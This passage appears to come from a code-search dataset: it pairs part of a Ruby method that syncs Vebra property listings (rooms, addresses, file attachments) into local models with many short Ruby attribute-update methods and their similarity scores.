room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update\n end", "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def modified_properties=(value)\n @modified_properties = value\n end", "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end", "def update\n\t\t\n\t\tend", "def set_props(props)\n @props.merge!(props)\n end", "def update() end", "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end", "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end", "def update_attributes(attrs)\n super({})\n end", "def update\n @dirty = true\n end", "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end", "def update\n super\n end", "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end", "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end", "def properties=(value)\n @properties = value\n end", "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end", "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update ; end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def update_with(attributes)\n assign_attributes(attributes)\n end", "def update\n # don't need to update; hash is shared\n end", "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end", "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update\n raise NotImplementedError\n end", "def update_attributes attributes\n @attributes.merge! attributes\n end", "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end", "def update\r\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end", "def update\n raise NotImplemented\n end", "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end", "def update_values\n end", "def update_values\n end", "def update\n raise NotImplementedError\n end", "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end", "def update attributes, collection #:nodoc:\n 0\n end", "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end", "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end", "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end", "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end", "def update\n set_deltatime\n set_last_update_at\n end" ]
[ "0.7012263", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.67403597", "0.6709326", "0.6709326", "0.6696149", "0.6696149", "0.6696149", "0.6696149", "0.6618882", "0.6571848", "0.65386343", "0.65178275", "0.6394807", "0.6389745", "0.6389745", "0.63328", "0.6319025", "0.6283673", "0.6269463", "0.62639254", "0.62410724", "0.62170374", "0.62152076", "0.6210263", "0.6204041", "0.6204041", "0.62021106", "0.62017816", "0.62017", "0.61730784", "0.61730784", "0.6159277", "0.6156169", "0.61445665", "0.6125433", "0.61241156", "0.6121413", "0.6110477", "0.6105694", "0.61016303", "0.60845226", "0.6084427", "0.6065455", "0.6059506", "0.6054869", "0.6051708", "0.6051708", "0.60413384", "0.6030853", "0.6022535", "0.6015561", "0.59932375", "0.59898263", "0.5976479", "0.5973787", "0.59678394", "0.5963291", "0.5962048", "0.5961157", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.59500545", "0.59443134", "0.59443134", "0.59424853", "0.59424853", "0.593523", "0.5926413", "0.5924831", "0.592427", "0.59233046", "0.59233046", "0.5921224", "0.59144294", "0.59142506", "0.58887535", "0.58854496", "0.5883008", "0.58792305", "0.5876954", "0.5876954", "0.58744955", "0.5857968", "0.5845542", "0.5841629", "0.58363605", "0.5829255", "0.582919", "0.5822138", "0.58208305" ]
0.0
-1
Update properties of this object
def update!(**args) @items = args[:items] if args.key?(:items) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end", "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end", "def update\n # TODO: implement update\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update\n \n end", "def refresh\n set_attributes\n end", "def update(attrs)\n @attrs.update(attrs)\n self\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "def update_resource object, attributes\n object.update attributes\n end", "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "def update\n \n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "def update\n @objects.map(&:update);\n end", "def update\n raise NotImplementedError\n end", "def update\n raise NotImplementedError\n end", "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update\n end", "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def modified_properties=(value)\n @modified_properties = value\n end", "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end", "def update\n\t\t\n\t\tend", "def set_props(props)\n @props.merge!(props)\n end", "def update() end", "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end", "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end", "def update_attributes(attrs)\n super({})\n end", "def update\n @dirty = true\n end", "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end", "def update\n super\n end", "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end", "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end", "def properties=(value)\n @properties = value\n end", "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end", "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update ; end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def update_with(attributes)\n assign_attributes(attributes)\n end", "def update\n # don't need to update; hash is shared\n end", "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end", "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update\n raise NotImplementedError\n end", "def update_attributes attributes\n @attributes.merge! attributes\n end", "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end", "def update\r\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end", "def update\n raise NotImplemented\n end", "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end", "def update_values\n end", "def update_values\n end", "def update\n raise NotImplementedError\n end", "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end", "def update attributes, collection #:nodoc:\n 0\n end", "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end", "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end", "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end", "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end", "def update\n set_deltatime\n set_last_update_at\n end" ]
[ "0.7012263", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.67403597", "0.6709326", "0.6709326", "0.6696149", "0.6696149", "0.6696149", "0.6696149", "0.6618882", "0.6571848", "0.65386343", "0.65178275", "0.6394807", "0.6389745", "0.6389745", "0.63328", "0.6319025", "0.6283673", "0.6269463", "0.62639254", "0.62410724", "0.62170374", "0.62152076", "0.6210263", "0.6204041", "0.6204041", "0.62021106", "0.62017816", "0.62017", "0.61730784", "0.61730784", "0.6159277", "0.6156169", "0.61445665", "0.6125433", "0.61241156", "0.6121413", "0.6110477", "0.6105694", "0.61016303", "0.60845226", "0.6084427", "0.6065455", "0.6059506", "0.6054869", "0.6051708", "0.6051708", "0.60413384", "0.6030853", "0.6022535", "0.6015561", "0.59932375", "0.59898263", "0.5976479", "0.5973787", "0.59678394", "0.5963291", "0.5962048", "0.5961157", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.59500545", "0.59443134", "0.59443134", "0.59424853", "0.59424853", "0.593523", "0.5926413", "0.5924831", "0.592427", "0.59233046", "0.59233046", "0.5921224", "0.59144294", "0.59142506", "0.58887535", "0.58854496", "0.5883008", "0.58792305", "0.5876954", "0.5876954", "0.58744955", "0.5857968", "0.5845542", "0.5841629", "0.58363605", "0.5829255", "0.582919", "0.5822138", "0.58208305" ]
0.0
-1
Update properties of this object
def update!(**args) @id = args[:id] if args.key?(:id) @owners = args[:owners] if args.key?(:owners) @site = args[:site] if args.key?(:site) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n 